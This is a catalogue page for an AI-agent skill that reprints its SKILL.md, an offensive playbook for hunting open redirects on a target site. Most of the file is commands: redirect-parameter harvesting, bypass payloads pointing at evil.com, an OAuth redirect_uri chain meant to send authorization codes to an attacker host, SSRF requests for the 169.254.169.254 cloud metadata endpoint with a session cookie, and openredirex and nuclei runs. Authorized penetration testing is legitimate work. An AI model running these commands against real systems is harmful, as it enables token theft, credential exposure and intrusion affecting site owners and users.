Hunt Open Redirect

About this skill

Hunt Open Redirect is a skill in sickn33/agentic-awesome-skills (47k stars). Its SKILL.md is about 2k tokens, and copies of it appear in 1 other owners' repositories. Licence: MIT.

Requirements

• Compatibility (from SKILL.md): Requires explicit written authorization for a target scope plus the relevant testing tools for this technique. Docs-only; helper scripts and commands not bundled.

Workflow steps

5 steps, taken from the step headings in SKILL.md.

1. 1Discover Redirect Parameters
2. 2Basic Test
3. 3Bypass Techniques
4. 4OAuth Chain Test
5. 5Server-Side Redirect (SSRF escalation)

What it can do on your machine

Read from SKILL.md and the folder at commit b84d35a. It shows what the files ask for, not the result of running them.

• Tool permissions

  Pre-approves nothing: there is no allowed-tools line, so your agent's usual permission prompts apply.

  From allowed-tools in the SKILL.md frontmatter.

• Runs code

  Shell commands in SKILL.md call:

  • curl
  • go
  • pip3

  From the folder's file list and the shell code blocks in SKILL.md.

• Network

  Links to these hosts (documentation or services it may open):

  • github.com

  From URLs in SKILL.md, links to its own repository left out.

• Credentials

  Names no API keys, tokens, secrets or passwords.

  From names ending in _API_KEY, _TOKEN, _SECRET, _KEY or _PASSWORD in SKILL.md.

• Compatibility

  Requires explicit written authorization for a target scope plus the relevant testing tools for this technique. Docs-only; helper scripts and commands not bundled.

  From compatibility in the SKILL.md frontmatter.

Context cost

Hunt Open Redirect loads about 2k tokens when it runs. Until then it costs about 9 tokens; SKILL.md has 505 words of instructions outside code blocks.

Always · name and description, kept in context so the agent knows when to use it

~9

When it runs · the whole SKILL.md, loaded when a task matches

~2k

Estimates: characters ÷ 4, the usual rule of thumb; real counts depend on the model's tokenizer. Scripts and assets cost tokens only if the agent reads them.

Safety

Automated static check — not a guarantee. Review scripts before installing. It scans the text of SKILL.md for risky patterns (piping downloads into a shell, reading credential files, hidden Unicode, destructive commands); files beside SKILL.md are not scanned.

SKILL.md

The full file from sickn33/agentic-awesome-skills at commit b84d35a, republished under its MIT licence (© sickn33). 505 words, ~2,002 tokens.

name

hunt-open-redirect

description

Hunt Open Redirect

compatibility

Requires explicit written authorization for a target scope plus the relevant testing tools for this technique. Docs-only; helper scripts and commands not bundled.

category

security

risk

offensive

source

https://github.com/elementalsouls/Claude-BugHunter

source_repo

elementalsouls/Claude-BugHunter

source_type

community

date_added

2026-09-20

license

MIT

license_source

https://github.com/elementalsouls/Claude-BugHunter/blob/main/LICENSE

sources

hackerone_public

report_count

28

?redirect=
?next=
?url=
?return=
?returnTo=
?continue=
?dest=
?destination=
?go=
?forward=
?location=
?target=
?redir=
?redirect_uri=
?callback=
?checkout_url=
?success_url=
?cancel_url=
/logout?returnTo=
/login?next=
/sso?callback=

# Extract all redirect candidates from crawl
cat recon/$TARGET/urls.txt | gf redirect > recon/$TARGET/redirect-candidates.txt
wc -l recon/$TARGET/redirect-candidates.txt

# Less common param names
grep -E "(\?|&)(return|next|dest|go|forward|location|to|jump|target|out|link|logout)" \
  recon/$TARGET/urls.txt >> recon/$TARGET/redirect-candidates.txt

COLLAB="https://evil.com"
cat recon/$TARGET/redirect-candidates.txt | qsreplace "$COLLAB" | while read url; do
  LOC=$(curl -s -I --max-redirs 0 "$url" | grep -i "^location:")
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" --max-redirs 0 "$url")
  [ -n "$LOC" ] && echo "$STATUS | $LOC | $url"
done

BASE_URL="https://$TARGET/redirect?url="
PAYLOADS=(
  "https://evil.com"
  "//evil.com"
  "/\\evil.com"
  "https://$TARGET@evil.com"
  "https://evil.com%23.$TARGET"
  "https://evil.com%09"
)
for P in "${PAYLOADS[@]}"; do
  LOC=$(curl -s -I --max-redirs 0 "${BASE_URL}${P}" | grep -i "^location:")
  echo "$P → $LOC"
done

grep -rEn "location *=|location\.(href|assign|replace)\(|window\.open\(" recon/$TARGET/ --include="*.js" \
  | grep -iE "location\.(hash|search)|URLSearchParams|getParameter|referrer"
# Confirm in a browser (curl can't): open  https://$TARGET/page#https://evil.com  (or ?url=...)
# Common shape:  var u=new URLSearchParams(location.search).get('url'); location=u;

# If target has OAuth, check if redirect_uri accepts open redirect
grep -i "oauth\|authorize\|redirect_uri" recon/$TARGET/urls.txt | head -20

# Construct OAuth URL with open redirect as redirect_uri
# Normal: redirect_uri=https://target.com/callback
# Attack: redirect_uri=https://target.com/redirect?url=https://evil.com
OAUTH_URL="https://$TARGET/oauth/authorize"
curl -sv "$OAUTH_URL?response_type=code&client_id=CLIENT_ID&redirect_uri=https://$TARGET/redirect%3Furl%3Dhttps%3A%2F%2Fevil.com" 2>&1 | grep -i "location:"

# If the app fetches the redirect target server-side (302 fetch follow)
curl -s "https://$TARGET/proxy?url=https://evil.com/redirect-to-169.254.169.254/latest/meta-data/"

# Or: if app makes HTTP request to the redirect destination
curl -s "https://$TARGET/fetch?url=http://169.254.169.254/latest/meta-data/" \
  -H "Cookie: $SESSION"

# openredirex
pip3 install openredirex
openredirex -l recon/$TARGET/redirect-candidates.txt -p evil.com

# nuclei
nuclei -u https://$TARGET -t redirect/ -severity medium,high

# gf + qsreplace
cat recon/$TARGET/urls.txt | gf redirect | qsreplace "https://evil.com" | \
  xargs -I{} curl -s -o /dev/null -w "%{http_code} %{redirect_url}\n" --max-redirs 0 {}

# Read-only first step; confirm scope before anything active.
cat scope.txt  # target list from the authorized engagement brief

© sickn33, MIT. Rendered from Markdown: HTML in the file is shown as text, images as links, and headings moved down two levels. Raw file

Files

Just SKILL.md in skills/hunt-open-redirect of sickn33/agentic-awesome-skills.

Open the folder on GitHubat commit b84d35a

Used in 1 other repository

We found 5 copies of this SKILL.md (exact, near-identical or edited) in other folders, from 1 other GitHub owner. This page covers the copy in sickn33/agentic-awesome-skills, which our catalogue first saw on October 7, 2026.

• lingxling/awesome-skills-cnantigravity-awesome-skills/skills/hunt-open-redirectantigravity-awesome-skills/plugins/agentic-awesome-skills/skills/hunt-open-redirect+1 more